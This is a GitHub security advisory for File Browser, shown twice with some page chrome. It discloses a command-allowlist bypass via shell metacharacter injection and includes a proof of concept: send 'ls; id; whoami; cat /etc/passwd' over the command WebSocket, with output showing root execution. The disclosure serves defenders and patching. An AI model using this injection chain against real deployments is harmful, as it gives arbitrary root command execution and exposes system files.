You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High severity
GitHub Reviewed
Published
Jun 3, 2026
in
filebrowser/filebrowser
•
Updated Jun 12, 2026
This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check filebrowser/filebrowser#5199.
Summary
When a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one.
This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The slices.Contains fix does not prevent this bypass.
Affected Location
runner/parser.go, function ParseCommand (lines 10-25)
http/commands.go, function commandsHandler (lines 72-86)
Root Cause
ParseCommand extracts the first token via SplitCommandAndArgs for the allowlist check, then passes the entire raw input to the shell:
name is ls — allowed. But /bin/sh -c interprets the rest.
PoC
Prerequisites:
Command execution enabled (--disable-exec=false)
Shell configured to /bin/sh -c
User has Execute permission with an allowlist, e.g. git,ls,cat
Steps:
Log in, grab a JWT:
POST /api/login
{"username":"admin","password":"..."}
Open a WebSocket to /api/command/ with header X-Auth: <jwt>.
Send:
ls; id; whoami; cat /etc/passwd
All four commands execute and output is returned. Sending just whoami alone returns "Command not allowed." — the allowlist is active but bypassable.
Output:
bin
etc
home
...
===BYPASS===
uid=0(root) gid=0(root) groups=0(root),10(wheel)
root
root:x:0:0:root:/root:/bin/sh
Tested against commit d236f1c (frontend v3.0.0) on the official Docker image filebrowser/filebrowser:latest.
Impact
Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Learn more on MITRE.
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
Learn more on MITRE.
Note
This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check filebrowser/filebrowser#5199.
Summary
When a shell interpreter is configured (e.g.
/bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and$()all work to chain arbitrary commands after a permitted one.This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The
slices.Containsfix does not prevent this bypass.Affected Location
runner/parser.go, functionParseCommand(lines 10-25)http/commands.go, functioncommandsHandler(lines 72-86)Root Cause
ParseCommandextracts the first token viaSplitCommandAndArgsfor the allowlist check, then passes the entire raw input to the shell:In
commandsHandler:nameisls— allowed. But/bin/sh -cinterprets the rest.PoC
Prerequisites:
--disable-exec=false)/bin/sh -cgit,ls,catSteps:
Open a WebSocket to
/api/command/with headerX-Auth: <jwt>.Send:
whoamialone returns "Command not allowed." — the allowlist is active but bypassable.Output:
Tested against commit
d236f1c(frontend v3.0.0) on the official Docker imagefilebrowser/filebrowser:latest.Impact
Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.
References